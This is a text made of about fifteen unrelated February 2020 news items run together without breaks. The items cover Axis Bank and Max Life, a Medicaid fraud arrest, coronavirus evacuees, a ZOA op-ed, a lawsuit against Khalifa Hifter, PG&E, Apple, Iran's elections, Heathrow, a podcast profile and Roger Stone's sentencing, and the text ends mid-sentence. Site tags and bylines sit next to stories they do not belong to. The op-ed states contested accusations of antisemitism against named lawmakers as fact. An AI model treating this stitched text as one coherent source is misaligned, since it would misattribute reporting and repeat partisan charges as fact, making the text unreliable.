Twitter @AzerNewsAz The last major deal done by Axis Bank was an acquisition of digital payments company Freecharge in 2017 for Rs 385 crore Mumbai: Private sector lender Axis Bank on Thursday hinted at raising stake in Max Life Insurance Company, whose policies it has been selling for nearly a decade. The bank, which signed an agreement with Max Financial Services and its subsidiary Max Life Insurance Company, did not reveal the quantum of the stake it will be buying. Axis Bank said it has entered into a confidentiality and exclusivity arrangement to explore the possibility of entering into a long-term strategic partnership with Max Life. A media report which was published hours before the announcement had claimed that the lender is eyeing more than 20 percent stake in Max Life. Speculation about a potential transaction being in the works had been on for long. Virtually, all the major banks in the country have a presence in the insurance segment through joint ventures with foreign players, as the bank's ability to distribute products gives them an edge in the sector that delivers one of the best profitability ratios over a long term. Products sold through Axis Bank, which owns 2 percent of the life insurance company, reportedly contribute for 54 percent of Max Life's revenues. In a statement, Axis Bank said the three entities have signed a "confidentiality and exclusivity arrangement to explore the possibility of Axis Bank entering into a long-term strategic partnership with Max Life". "We constantly keep assessing various strategic opportunities and we see a potential for greater participation in the under-penetrated life insurance space," the bank's managing director and chief executive Amitabh Chaudhry said. He added that completion of the "proposed transaction" will create significant value for all stakeholders. "The strategic interest of Axis Bank in Max Life will lead to the much-awaited permanence and allow both companies to work towards an enduring future for policyholders and other stakeholders," Analjit Singh, the founder and chairman of Max Group, was quoted as saying. The bank's executive director for retail banking Pralay Mondal said the Axis and Max teams have been working closely for a while and "time is right to leverage this unique camaraderie and bring in a more strategic intent". Max Group's vice chairman Mohit Talwar said proposed deal is a "natural evolution" in what has been a productive partnership till now. The statement said Axis Bank has helped generate a new premium of over Rs 12,000 crore for the insurance player till now. At present, Max Financial Services owns 72.5 percent of Max Life, while 25.5 percent is with Japanese player Mitsui Sumitomo Insurance, it said. There was a 20 percent growth in the bancassurance channel or the business received through the bank in the first nine months of the fiscal ending December 2019, the statement said. The last major deal done by the bank was an acquisition of digital payments company Freecharge in 2017 for Rs 385 crore. Axis Bank shares closed 0.37 percent up at Rs 743.95 on BSE on Thursday, as against correction of 0.37 percent on benchmark index Sensex. A Waterbury woman, who worked as a personal care assistant to a developmentally disabled man, has been arrested after billing Medicaid for his care after she had stopped providing services. Adrieonna Fisher, 26, of Grilleytown Road, was arrested Thursday by inspectors from the Medicaid Fraud Control Unit in the Office of the Chief States Attorney. She was and charged with one count each of larceny in the first degree by defrauding a public community, criminal attempt to commit larceny in the second degree and health-insurance fraud. According to the arrest warrant affidavit, Fisher was hired in March 2015 to provide personal support services to a 55-year-old developmentally disabled man. She left the job in July 2016, but continued to bill Medicaid until November 2016 for work she never performed. The false claims totaled $6,024, the warrant states. There were also two additional false time sheets for which Fisher attempted to gain payment, but those claims were not paid. Fisher was released on a $6,000 bond and is scheduled to appear in Hartford Superior Court on March 6. Larceny in the first degree by defrauding a public community is punishable by up to 20 years in prison. Criminal attempt to commit larceny in the second degree is a class C felony punishable by up to 10 years in prison and health insurance fraud is an unclassified felony punishable by up to 5 years in jail. Four people evacuated from the coronavirus-hit Diamond Princess cruise ship in Japan will be medevaced out of Darwin and flown to their home states after contracting the virus. They are the first Australian cases to be confirmed in more than a week. A 78-year-old man from Western Australia was expected to be transferred to Sir Charles Gairdner Hospital in Perth on Friday. His wife was expected to travel with him before being isolated at home for two weeks. The other patient was a 24-year-old woman from South Australia, to be transferred to Royal Adelaide Hospital. By Morton A. Klein and Chairman Mark S. Levenson, Esq. In our view, AIPAC made a serious mistake when it retracted and apologized for its recent ads expressing the accurate concern that radical, Jew-hating Israelophobes in the Democratic Party are infecting and influencing an alarming number of other Democratic Party members to become more hostile to Israel and even Jews. AIPAC should rescind its retraction, and resume its discontinued ad campaign to urge Democratic representatives to support Israel. Pro-Israel organizations must do everything possible to assure that our friends in both parties remain our friends. This includes calling out and strongly opposing the dangerous influences and extremely worrisome trends that we are seeing today. Less than two weeks ago, Democratic Congresswoman Rashida Tlaib (MI)who associates with a top Hezbollah supporter and anti-Israel terroristsretweeted a vicious, completely fabricated, anti-Semitic blood libel. Tlaibs retweet falsely accused innocent Jews (whom the tweet falsely called a herd of violent #Israelisettlers) of kidnapping, assaulting, and executing an Arab boy and throwing him into a water well. This blood libel is virtually the same as the blood libels used to incite deadly anti-Jewish pogroms throughout the Middle Ages. Democratic Congresswoman Alexandria Ocasio-Cortez (NY), also known as AOC, spread similar anti-Semitic blood libels, and directly justified and incited violence against Jews by declaring that Palestinian-Arabs have no choice but to riot against Jews in her July 2019 Ebro in the Morning radio interview. During the same interview, AOC also falsely claimed that Israel denies Palestinians access to clean water an anti-Semitic Jews poison the water medieval-style blood libel; and absolutely agreed with the radio show hosts false characterization of the Jewish people as white supremacist Jews, and the hosts false statements calling Israel very, very unjust and very, very, criminal. Democratic Rep. Ilhan Omar (MN) is infamous for falsely accusing Israel/Jews of evil doings and oppression, falsely calling Israel racist and an apartheid state, falsely accusing Jews of buying Congress, and of dual loyalty, and is sponsoring legislation to promote anti-Israel boycotts, which compares anti-Israel boycotts to anti-Nazi boycotts. Democratic Rep. Hank Johnson (GA) called Jews living in the historic Jewish homeland termites. And much more. The fact that House Democrats have continued to tolerate and refuse to take action against such vile anti-Semitism in their midst is deeply concerning in and of itself. But, to use AIPACs term, it is apparent that these vile, unchecked expressions of Jew-hatred in Congress have also had insidious effects.For instance: 107 Democratsalmost one half of House Democratssigned a letter wrongly condemning President Trump and Secretary of State Mike Pompeo for correctly acknowledging that it is legal for Jews to live in the lawful, historic Jewish homelands of Judea-Samaria and eastern Jerusalem. In late 2019, more than 120 Democratic Congress members, including presidential candidates Elizabeth Warren (MA) and Amy Klobuchar (MN), wrote letters praising the Council on American Islamic Relations an unindicted co-conspirator in the Holy Land Foundation trial, involved in funneling money to Hamas. To put this into perspective: A decade ago, alarm bells went off when 54 Democratic Congress persons signed the infamous Gaza 54 letter wrongly condemning Israels weapons blockade. The Democratic Congress persons signing recent hostile-to-Israel letters have more than doubled. Leading Democratic presidential candidates Berney Sanders and Warren hired Israel-hating surrogates and top staffers, including Congresswomen Omar, Tlaib, and AOC; Israel-basher Linda Sarsour; Darius Khalil Gordon, who tweeted about Jew money; Hamas-loving, Israel-hating IfNotNow co-founder Max Berger; Faiz Shakir; Matthew Duss; Belen Sisa, and others. Democratic Sen. Kirsten Gillebrand (NY) has praised Israel-bashing Jew-haters Linda Sarsour, Tamika Mallory, and Carmen Perez, all of whom also admire racist anti-Semite Louis Farrakhan. Anti-Semitic physical attacks have grown exponentially. Democratic presidential candidates have been boycotting AIPAC. Democratic presidential candidate Pete Buttigieg (IN), and others, announced plans to punish Israel for the presence of Jews living in lawful historic homelands of Judea-Samaria. Democratic presidential candidates Bernie Sanders and Elizabeth Warren have called on conditioning U.S. aid to ally Israel, until Israel does what Sanders and Warren demand. 18 Democrats are co-sponsoring Rep. Ilhan Omars antisemitic House resolution protecting anti-Israel boycotts. The Democratic National Committee passed a resolution in February 2019, calling on the U.S. to rejoin the Iran deala deal opposed by ZOA and AIPAC, that poses an existential threat to Israels 7 million Jews (as well as to the United States). Virtually every Democratic presidential candidate has vowed to rejoin this dangerous deal. Morton A. Klein is president of Zionist Organization of America President and Mark S. Levenson, Esq. is ZOA chairman ALEXANDRIA, Va. - A federal magistrate in Virginia wants more information before issuing a judgment against a Libyan-American who once lived in northern Virginia and now commands an army in his home country. Khalifa Hifter, who leads the self-styled Libyan National Army, was sued last year by families who say their loved ones were killed in his military campaigns. If the lawsuit succeeds, the families may be able to claim property Hifter owned from his decades living in Virginia. The suit seeks $125 million in damages. Lawyers for the families asked a magistrate for default judgment at a hearing Friday in Alexandria. But the judge requested additional briefing on whether Hifter can be sued. Some of the questions were technical as to whether Hifter had legally been served with the lawsuit. Others were more substantive. U.S. Magistrate Michael Nachmanoff asked whether the indiscriminate killing attributed to Hifter in the lawsuit qualifies for damages under U.S. law, or whether the victims must prove they were specifically targeted or singled out. Faisal Gill, a lawyer for the Libyan families, said hes confident he will be able to prove to the judge that he has jurisdiction and can enter a judgment against Hifter. He noted that similar cases have been successfully pursued in U.S. courts against other foreign warlords. In this case he said the argument is even stronger because Hifter is an American citizen. Once a lieutenant to Libyan dictator Moammar Gadhafi, Hifter defected during the 1980s and spent many years living in northern Virginia. He is widely believed to have worked with the CIA during his time in exile. Hifters army controls the eastern part of that north African country. He launched an effort to capture Tripoli, its capital, last year. Gill said the fact that Hifter and his family owned so much property in Virginia makes it a real possibility that the victims will be able to collect on any judgment that is entered. This is definitely not some theoretical exercise, he said. Earlier this week, a similar lawsuit was filed in Alexandria against Hifter and his sons, Khalid and Saddam. That lawsuit alleges the Hifter sons purchased 17 properties in Virginia between 2014 and 2017, paying $8 million in cash. Esam Omeish, a northern Virginia physician and president of the Libyan American Alliance, attended Fridays hearings and said the lawsuits all have similar goals. He said Hifter has thwarted any political settlement in the Libyan war and is trying to impose military rule. He thinks hes the new Gadhafi, Omeish said. Update: 7:35 p.m., Monday, March, 2, 2020 - Lawyers for Pacific Gas & Electric said the utility can't commit to hiring hundreds more tree trimmers in the way that a federal judge wants to cut the risk of starting more catastrophic wildfires in California. Last month, the judge asked PG&E to add at least 1,100 more tree trimmers to help prevent trees and branches from falling onto its power lines and igniting. Attorneys for PG&E said in court filings Monday that the company can't provide a deadline by which it will hire a set number of new tree trimmers and argued that they shouldn't be forced into doing so. SAN FRANCISCO, Calif. - A federal judge is blasting PG&E for falling far behind on its tree-trimming plan to prevent wildfires. This all went down Wednesday afternoon and now PG&E has at least 5,400 people trimming trees. On Wednesday, a federal judge said PG&E should plan to have more than a thousand more tree trimmers. A judge said he was concerned that branches that are tangled in power lines could spark a fire. The hearing comes just a day after the head of the California Public Utilities Commission this week, threatened to take away PG&Es license if safety standards are not met. The understanding that if we don't change course, that there will be greater risks and we see that all around us, Community advocate, Will Abrams said. This hearing stems from the five-year criminal probation imposed on PG&E after its natural gas lines blew up in San Bruno in 2010. That explosion killed eight people. Since its probation began three years ago, poorly maintained power lines have been blamed for igniting wildfires that killed nearly 130 people. PG&E issued a statement saying, throughout the chapter 11 process, our focus has remained on getting wildfire victims paid, continuing to deliver safe and reliable electric and gas service. (CNN) Whatever high Apple executives were on in January after the company posted record earnings and strong iPhone sales during the holiday quarter has likely faded. The tech giant is having a rough month. The iPhone maker has been hit harder than expected by the coronavirus outbreak. The company told investors earlier this week that it no longer expects to meet revenue guidance it provided only last month for the current quarter, which ends in March. Travel restrictions, limited store hours and disruptions at factories in China are keeping Apple from selling and making as many devices as it had hoped. The situation raises the stakes for key product releases slated for later this year. In order to make up for the decline in performance caused by coronavirus, the company will need to drum up demand for new iPhones, which are still its biggest revenue driver. Apple has a big tool in its arsenal this year: A 5G-enabled iPhone that is widely expected to be released in September. Some analysts expect the 5G iPhone to trigger a "super cycle" of device upgrades. "Every time there's a big step function, from 3G to 4G and 4G to 5G, that easily will be another big uptick in the driver of the iPhone units," said Keith Gangl, portfolio manager at Gradient Investments. But there are questions about whether ongoing disruptions caused by coronavirus could cause problems for or even delay the 5G iPhone release that many are counting on to provide a big boost to the company. Apple said Tuesday it would no longer meet the $63 billion to $67 billion sales projection it gave for the current quarter when it reported earnings last month. That guidance range was already wider than usual, which Apple hoped would account for the potential impacts of coronavirus. Tuesday's announcement creates additional uncertainty because Apple didn't specify how far off its projections it would be, or how much of the miss is due to supply constraints versus a drop in demand, Gangl said. "The virus itself is a moving target, so it's hard to speculate what it will mean for the suppliers and for demand. We need more data and more time," Gangl said. There are some indications that it's more of a supply issue. On Wednesday, Nikkei reported that Apple will likely miss its schedule for releasing a more affordable version of the iPhone S this spring, citing sources familiar with the matter. Around 15 million to 17 million units of the updated iPhone S were set for release in March, Wedbush analyst Dan Ives told CNN Business. Apple did not respond to a request for comment on the report. The less expensive iPhone S is another way for Apple to convince customers -- especially those reluctant to shell out for premium models -- to upgrade their phones. That could have helped boost the company's sales during the March quarter, especially ahead of the typically slow summer quarter. But Ives said the new phone's release will now likely be pushed into April. "This doesn't significantly move the needle," Ives said. "But it is another indication of just how dramatically the supply chain has been negatively impacted by the coronavirus tragedy." Some analysts worry that the delay of the cheaper iPhone S could be a harbinger for the 5G model later this year, if coronavirus continues to weigh on Apple's supply chain. "The impact of the constrained manufacturing environment in China on the production of the new iPhones expected to launch in September remains unclear at this point, but supply constraints are possible," Monness Crespi Hardt analyst Brian White said in an investor note. White added that coronavirus-related manufacturing disruptions in China could also limit production of the equipment used to build 5G wireless networks, which are key to getting customers to adopt 5G devices. A delay in the release of the 5G iPhone would be a blow to Apple, especially after its main competitor, Samsung, released a full line of 5G-enabled phones earlier this month. "The stock is priced for a 5G upcycle," Gradient's Gangl said. "It depends on how long it gets pushed. If it's weeks, it could be okay. If they miss the holiday season, that could be a problem." Wedbush's Ives agreed, calling the 5G iPhone the "heart and lungs of the super cycle thesis." "If those get delayed by a few weeks, a month, it would impact the quarterly trajectory but it's not something that would be overly concerning to investors," Ives said. "If it gets delayed three to six months, that could be a problem." The next update on where things stand will likely come when Apple reports earnings for the current quarter in April. This story was first published on CNN.com, "Apple needs a 5G iPhone now more than ever." Paul Peirce | Tribune-Review, Greensburg, Pa. A man awaiting trial for burglary and impersonating a firefighter was arrested again Wednesday in Salem Township after a break-in at a senior citizen recreation center. Charles J. Beiter, 33, was arraigned Thursday on charges of disorderly conduct, illegally trespassing, loitering, theft and possession of marijuana filed by state police at Kiski. Washington Township District Judge Jason Buczak remanded Beiter to the county prison on $25,000 bond. Trooper Shauntai Hall arrested Beiter Wednesday night at the Cloverleaf Estates Mobile Home Community for senior citizens near Delmont, where he has been living with his mother. Hall alleges that managers at the mobile home park called troopers after discovering video surveillance of Beiter breaking into the community center on Feb. 16, and receiving complaints from other employees that Beiter was seen on multiple occasions prowling around after the community center had closed. Hall said a resident who was at the community center Sunday reported catching Beiter searching through her purse in an attempt to steal cash or other items of value. The woman said Beiter fled when he was confronted. After Beiters arrest, Hall said family members permitted troopers to search his bedroom, where a small amount of marijuana was seized. On Jan. 11, state police arrested Beiter on two charges of burglary, impersonating a public servant, theft from a motor vehicle, two charges of loitering and prowling at night and public drunkenness and similar misconduct after he allegedly entered a Mt. Pleasant Township home. He told the occupant of a home on Joyce Drive that he was part of a fire department and medical service. On his Facebook page, Beiter identifies himself as a former employee of the Jeannette EMS. Beiter worked as an EMT with the city until 2013 or 2014, according to Jeannette EMS. No issues were reported during his employment, officials there said. Facebook posts of Beiter wearing a T-shirt from Grandview Volunteer Fire Department, located in Penn Township, the day of his initial arrest resulted in the fire department posting its own notice that Beiter was never a firefighter there. Court dockets said Beiter was released from the county prison on Jan. 23 after his $5,000 bail was reduced to unsecured bond following an agreement between his private attorney, Tim Andrews of Greensburg, and the Westmoreland County District Attorneys office. I havent heard anything about this (his most recent arrest) so I really cant comment on it, Andrews said Thursday. Buczak scheduled a preliminary hearing on the new complaints for March 3. An elderly man from WA has been confirmed as the first person from the state to have contracted the deadly novel coronavirus. The 78-year-old man is due to be evacuated from Darwin with his wife, who has not tested positive to the virus, and arrive in Perth Friday afternoon. Australian evacuees from Diamond Princess arrive in Darwin on Thursday. Credit:AAP The pair were one of 164 Australians who were flown out of Japan and placed in isolation at Howard Springs where they awaited their test results. The couple had been on board the quarantined Diamond Princess cruise ship in Japan since February 4. By Trend The announcement of 2020 as the Year of Azerbaijani Culture in Italy by President Sergio Mattarella is very significant, Azerbaijani MP Asim Mollazade told Trend Feb. 21. In his opinion, this factor perfectly characterizes the current relations between Azerbaijan and Italy, the MP noted. Stressing that the state visit by Azerbaijani President Ilham Aliyev to Italy is important, Mollazade added that the signing of the Joint Declaration on Strengthening Multidimensional Strategic Partnership between Azerbaijan and Italy will give impetus to the further development of relations between the countries. Mollazade reminded that Italy is one of Azerbaijans main trade partners, adding that Italian companies are interested in developing cooperation with Azerbaijan, which is developing its economy, and are actively involved in this process. Economic cooperation with Italy is increasingly developing, and is of a multilateral nature, said the MP. The two countries have established excellent cooperation in economic, educational and cultural fields. Azerbaijani-Italian cooperation will also develop within Azerbaijans interaction with the EU, thanks to which partnership with NATO will be strengthened, Mollazade noted. The MP believes that the visit by Azerbaijani president to Italy will have a positive impact on strengthening relations between Azerbaijan and the Vatican. Thats because traditions of multiculturalism of the Azerbaijani people, their experience in this area is very important for Europe, which faces serious problems, Mollazade added. I hope that after the visit of President Ilham Aliyev to Italy, our cooperation in this area will expand. On Feb. 19, President Ilham Aliyev paid a state visit to Italy, and on Feb. 20, the head of state held a number of official meetings in Rome. On the same day, after the meeting between Azerbaijani President Ilham Aliyev and President of the Italian Council of Ministers Giuseppe Conte in an expanded format, a ceremony of Azerbaijani-Italian documents exchange was held. The Italy-Azerbaijan Business Forum will be held in Rome Feb. 21. --- Follow us on Twitter @AzerNewsAz Today, the parliamentary elections are held in Iran. More than seven thousand candidates apply for 290 seats in the country's legislative body. They were approved by Irans Guardian Council. US Special Representative for Iran Brian Hook has already declared that the upcoming parliamentary elections are stacked. The West is generally skeptical about the upcoming election. Voters threaten to boycott election in Isfahan where most reformist candidates have been banned, Financial Times writes in the article Ordinary people are so disillusioned: Iran protests cast shadow over polls It makes little difference what promises parliamentary candidates make to 34-year-old cab driver Mehdi. Badly beaten in the protests that convulsed Iran late last year amid anger at rising fuel prices, he has lost what little faith he had in the Islamic republic or its elected MPs to improve the lives of citizens. Ordinary people like me are so disillusioned . . . that I think whoever is elected will eventually raise up their hands in surrender against the economic and political decisions of the system, said Mehdi, a driver for Snapp, the Iranian version of Uber, in the ancient city of Isfahan ahead of parliamentary polls on Friday. Famous for its Islamic architecture, the city so beautiful that Iranians describe it as half the world bears signs of both the November protests, in which activists allege 20 died in Isfahan alone, and the upcoming polls that reformists fear will lead to the creation of a radical new assembly. In between the burnt-out banks, Mehdi reads out slogans from campaign posters as he drives past: The pain must be talked about, voices must be heard; Economic boom with clean-handed [candidates]; Collective genius, revolutionary belief. These slogans may fool confused voters but not those like me who have made up their minds, said Mehdi, adding that MPs did little to stand up for protesters or help ordinary people. Four out of five of Isfahans parliamentary seats are held by reformists but in Fridays election, it has only one reformist candidate Nahid Tajeddin, a sitting MP. With hardliners eager to use the parliamentary polls to shape a radical new assembly ahead of next years presidential election, Irans Guardian Council, the constitutional watchdog that vets prospective candidates, has disqualified hundreds of reformist candidates, including a quarter of sitting MPs. A landslide victory for hardliners is seen as inevitable. With voters complaining about unemployment, water shortages and declining purchasing power, hardliners are also struggling to muster enthusiasm for their candidates. It is difficult to make a person who cannot afford a piece of bread for his familys dinner to go to the poll, let alone vote for our favourite candidate, said one volunteer. Hassan Kamran, a six-time member of the parliament for Isfahan who is close to hardliners, acknowledged that people were disheartened. But Mr Kamran, who is running as an independent candidate, believes that despite complaining, Iranians have always shown their support for the Islamic republic at the ballot box. Irans enemies might dream of overthrowing the regime, he said, but the public outpouring of grief for military commander Qassem Soleimani, killed in a US drone strike in January, showed that the system was stable. Asghar, 65, sells aquariums and tropical fish in Imam Khomeini Street. Near his shop, the banks set alight in Novembers protests are visible. I took part in demonstrations that led to the victory of the Islamic revolution [in 1979]. We should stand up for our flag, our upheaval and the Islamic republic, he said, adding that Iranians should tolerate economic hardship and not kneel down for US president Donald Trump. However, hardliner dominance of parliament could backfire, warned Behzad Haghpanah, a reform-minded political analyst. People will gradually lose hope that they can make changes within the framework of the Islamic republic, he said. Hence, more protests and unrest could be expected in the streets in the future. Driving around Isfahan in search of fares, Mehdi added: There is no difference between candidates, either a reformist or a hardliner, any more. They will not speak up for us. Europes postWorld War II settlement, an arrangement that has sustained peace and prosperity for more than seventy years, is falling apart. Donald Trumps forays against NATO and European trade, the United Kingdoms decision to leave the European Union, turmoil in German politics, the rise of would-be autocrats in Eastern Europe, and much, much more call into question the future of Europes postwar equilibrium, Commonweal Magazine writes in the article Is Europe Falling Apart? First, a little history: The desire to avoid a Second World War was perhaps the most understandable and universal wish in history. That is the opening sentence of Tim Bouveries Appeasement, a brilliant new history of British diplomacy toward Germany in the lead-up to World War II. Ardent wishes notwithstanding, war came. It came because a fatuous British political class was willfully blind in its desperation to avoid conflict with Hitler. By the end of that war, in 1945, the Allies were determined not to repeat the errors that followed World War I. This time Germany would be bombed, invaded, defeated, and on May 7, 1945, seventy-five years ago, forced to surrender unconditionally. Allied armies, including the USSRs, took control of Germanys government, economy, and population. Europe was a shattered continent. Fortunately, there was a second chapter: Presidents Roosevelt and Truman, together with General George Marshall, understood that the United States could not revert to its isolationist policies. The harsh measures imposed in 1945 were ultimately mitigated by the Marshall Plan. U.S. economic assistance, plus French-German economic cooperation, the founding of NATO in 1949, and the founding of the European Union in 1957, set the continent on a new trajectory. Of course, the Cold War was a powerful impetus in furthering these developments, and when it ended in 1989, Eastern European countries were invited to share in the bounty. The United States had a critical role in this achievement. In the year 2020, one must stress the word hadpast tense. The Trump administration is recklessly undermining promises of economic prosperity and guarantees of mutual security that have joined the EUs twenty-seven members for decades. But there are also new tensions and quarrels among the Europeans themselves. And rather than tackling needed economic reforms, a growing number of nations are succumbing to the lure of populism and nationalism. Brexit is the primebut not onlyexample. Poland and Hungary, who reap enormous economic benefits from the EU, nonetheless chafe at its regulatory and judicial standards. Italy and Greece, still recovering from the after-effects of the Great Recession, are neither productive nor constructive members. Germany, a stalwart EU member, stubbornly refuses to loosen the budgetary restraints that are inhibiting economic growth on the rest of the continent, and its tradition of coalition governments is splintering with the emergence of far-right politicians opposing de-Nazification and refusing responsibility for the Holocaust. EU candidate countries in the Balkans have been put on hold to await changes in admission rules. Turkey, which has been waiting to join the EU for many years, is now cozying up to Russia. In short, Europe is a cauldron on low boil. Then there is NATO, the fulcrum of European security. Its seventieth-anniversary observances in Decembermoved from Washington to London to avoid Trump-troublewere less a celebration than an occasion for sniping and sneering, ending with heads of other member states making fun of Trump behind his back. The president repeatedly criticizes the cost of U.S. participation in NATO, while President Emmanuel Macron declares NATO brain dead. In turn, President Erdogan of Turkey says its Macron whos brain dead. These antagonisms seem less a blip than the beginning of the end of a successful trans-Atlantic and European-wide alliance that has kept the peace for seventy-five years. Americans born in the second half of the twentieth century of course have no memory of the death and destruction of its first half. As the United States suffers another bout of what Philip Roth called indigenous American berserk, we must continue to hope that the twentieth century taught Europeans lessons they will not easily forget. But if they need a reminder, they might consult another brilliant work of history, Christopher Clarks detailed description of how Europe stumbled into war in 1914. The book is ominously titled, The Sleepwalkers WHITE PLAINS, N.Y., Feb. 20, 2020 (GLOBE NEWSWIRE) -- NorthEast Community Bancorp, Inc. (NECB), today announced that its annual meeting of stockholders will be held at the Renaissance Westchester Hotel, 80 West Red Oak Lane, West Harrison, New York on Wednesday, May 20, 2020 at 9:00 a.m. NorthEast Community Bancorp, Inc. is the holding company for NorthEast Community Bank. NorthEast Community Bank is a New York State chartered savings bank that operates six full-service branches in New York and three full-service branches in Massachusetts and loan production offices in White Plains and New City, New York. The URL has been copied to your clipboard The code has been copied to your clipboard. In keeping with its promise to hold the Iranian regime accountable for human rights violations, the United States has imposed sanctions on another senior Iranian official, IRGC Brigadier General Hassan Shahvarpour. Heathrow was accused of brazen greenwashing last night after bosses announced plans to emit zero carbon emissions by the mid-2030s. Britains biggest airport says it has already reduced emissions from buildings and infrastructure by 93 per cent compared with 1990, with the rest offset through tree-planting. Now its bosses want Heathrows buildings to produce zero emissions within 15 years, meaning there will be no need to to offset. But environmentalists described the move as greenwash propaganda and pointed out that Heathrows proposed third runway would see an extra 700 planes in the sky every day on top of the current 1,300 daily flights. Heathrow was accused of brazen greenwashing last night after bosses announced plans to emit zero carbon emissions by the mid-2030s Greenpeace chief scientist Dr Doug Parr said: Its hard to believe this announcement comes from the same airport wanting to build a major new runway with carbon emissions the size of a small country. In terms of brazen greenwash, this is up there with oil companies unveiling solar-powered drill rigs. Its a green-tinted smokescreen to cover up the fact that, like the rest of the aviation industry, Heathrow wants to carry on as usual despite the devastating impacts its having on the planet. Jenny Bates, of Friends of the Earth, added: The elephant in the room is climate-wrecking flights, so its laughable to see Heathrow making this kind of pledge on just infrastructure emissions. Heathrow chief John Holland-Kaye said the carbon goal was a testament to the determination of our airport to help spearhead a new era of sustainable aviation. He added: We can and will cut the environmental cost of flying whilst keeping the benefits of travel for future generations. Responding to the greenwashing claim, a Heathrow spokesman said: We will expand our airport in line with some of the worlds strictest and legally binding environmental limits... We are confident and clear that aviation is not the enemy, carbon is. Phoebe Judge brings the show 'Criminal' to Mass MoCA on Saturday for a live recording. The podcast features true crime stories. 'Criminal' Reveals the Human Stories Behind the Crimes NORTH ADAMS, Mass. Podcasts about serial killers are part of the modern aural landscape, a combination of the heightened interest in true crime and the ability of anyone with a computer to create a podcast. Boasting journalistic chops and professional production, the podcast " Criminal " exists as the gold standard of the genre, not just telling stories about crime, but examining the human stories revealed through the crimes. For the last six years, host Phoebe Judge has guided her audience through crimes in history and more recent transgressions. Sometimes they have a larger social significance, other times they bring to light curious characters. Sometimes they reveal the inner workings of those who commit crimes, other times how a life of criminality affects loved ones. Sometimes it's all about the victim. Regardless, it's always complex and always revealing. The "Criminal" podcast will record live at Massachusetts Museum of Contemporary Art on Saturday, Feb. 22, at 8 p.m. The show is sold out, but the recorded episode will be made available. The live version will feature brand-new, never before heard stories from Judge, with a live music score and original animations by illustrator Juliana Sanders. "If you were to close your eyes at one of these live shows, you might think you are listening to an episode of 'Criminal,'" Judge said. When Judge first sat down with producer Lauren Spohrer in 2014, not only was true crime not as huge of an American obsession as it currently is, but podcasting had not yet come into its own as a medium of huge popularity. "Serial," the true-crime investigative podcast that helped make the medium a mainstream sensation, was still a year off. Judge was working at WUNC in North Carolina an NPR station where the show is still produced and had built her cred as a reporter there, and earlier in Mississippi and then in India. The show she was co-hosting, "The Story," had just been canceled and she and Spohrer were devising their next project. "She said to me, 'People who listen to public radio also watch 'Law & Order.' They may not want to admit it, but they do. What about a crime show?'" Judge said. "When she said that, I thought it was the smartest thing because I realized we were never going to run out of stories. Crime stories are necessarily intriguing. And because we've taken this broad look, this broad definition of what the word crime is, we get to tell really rich and varied stories." Judge admits that "Criminal" was partly a reaction against other shows that they felt sensationalized people's tragedies and "had some sort of end game of judgment good, bad, right, wrong." That approach set "Criminal" apart from what existed, and it helped once "Serial" became a hit and people sought out other podcasts. "Criminal" offered something more than retelling gruesome details or promising to solve cold cases. Its purview was nothing less than an examination of the human condition by finding out why people do the things they do. "I've always said that someone who's a real real true-crime fan might be a little disappointed if they listen to 'Criminal,'" Judge said. "When we created 'Criminal,' there was nothing else like 'Criminal.' There was nothing that we were trying to mimic or copy. We created this just out of our own heads. "And we have kept our heads down in the last five years and continued to make the show they originally set out to make. We haven't changed at all. Now true crime is all around us and I'm sure that we have benefited. It hasn't informed our show at all or the creation of our show. And I think that's good." It has always been important to Judge that the show wasn't dominated by her voice or any other meant to lecture listeners. She wanted to include as many ordinary people's voices as possible. "When I first started as a reporter in Mississippi I would spend my days talking to governors and lawyers and politicians and legal experts and that was all well and good," Judge said, "but what I quickly found out is that, whatever a politician or expert or governor is going tell you in two minutes, 15 seconds talking to the real human being who's talking about their own experiences is going to be the thing that someone remembers." Judge believes that the best episodes of "Criminal" are the ones that feature her voice the least, the ones that allow her to get out of the way of the story. This also allows the show to give a voice to people who might not always have one. That's a huge concern to Judge and the rest of the "Criminal" staff. "We're very aware of the fact if we had the last four episodes be about crimes that happened in New York City, all focused on white men over the age of 40, well we don't want to do another of those stories right now. We want to have a varied range of voices on our shows." Judge's concern about diversity doesn't just stop with her own show. She looks over the current, vast landscape of podcasting and sees room for improvement. "If you were to take a survey of the 350,000 podcasts or whatever there are on iTunes, I think that what we would say is that there's certainly a lack of diversity in those shows," she said. "There's a lack of diversity in the host. There's a lack of diversity in the topics. There's a lack of diversity in the people that are being interviewed or portrayed on those shows. I think that's a real gap. I think that this whole world is a little too white still. And I think that is something that should change." As part of the effort to diversity, Judge would also like to see more efforts to bring in older audiences who less typically use the technology in their pockets to its full potential. It's an issue she's encountered in her own experience and she believes it's key to reaching untapped audiences. Judge's view is that podcasting has matured in the last few years to include numerous shows that are equal in production, presentation, and journalism to what listeners are accustomed to on any NPR show. The quality is there, now's the time to expand awareness and access to a wider, more diverse audience that will appreciate it. "Young people are on their phones, they're mobile, they're using things all the time," she said, "while you have people over 54 who, yes, they have an iPhone but they use it as a phone. They're not using this as their second arm. When I first told my father that I was going to start a podcast, his answer was, 'I don't understand how anyone's going to find it, Phoebe.' So I still think that we are dealing with a real education issue." "I think also there's the problem of this word 'podcast.' What does that mean? I mean, that's a terrible word. I like the word 'show' and it happens to be you find it on your phone, you don't find it on the radio." Judge and Spohrer have attempted to do their part in representation and finding new audiences through their latest show, which has a similar mission as "Criminal," but instead serves it through telling stories about love. It's called, appropriately, "This Is Love." "Criminal," meanwhile, continues as ever, still refusing to change just to be part of the crowd, embracing nuance and trusting its audience. Judge just doesn't have it in her to be sensationalistic. Her approach is the exact opposite, and "Criminal" isn't likely to ever change from that. "The greatest compliment I ever got about 'Criminal,' the one that has always stuck with me, is someone once said, 'Criminal is a quiet show and that's it,'" Judge said. "If that's all we are, then I'm happy to be that." Photograph: Erik S Lesser/EPA Roger Stone, a longtime friend of Donald Trump and a self-styled dirty trickster of American politics, showed little emotion as he stood, squeezed between his defense team, at the front of the courtroom to await his sentence on Thursday. Unsurprisingly, I have a lot to say, the federal district court judge Amy Berman Jackson began. She was aware, of course, of the extraordinary public interest surrounding this high-stakes case that last week triggered a political firestorm at the Department of Justice over fears of political influence. In recent weeks, Jackson said, there have been letters and calls to the chamber, op-eds in every major newspaper, hours of punditry on cable news, and, perhaps most remarkable of all, a stream of tweets from the president of the United States, who has attacked her as biased. The only people who think this is easy [are] the people who dont have to make the decision, she lamented from the bench. Related: Roger Stone sentenced to 40 months in prison despite request for new trial Stones presence in her courtroom on Thursday had nothing to do with his political views or personal association. He was there, Jackson said, because Roger Stone characteristically inserted himself smack in the middle of one of 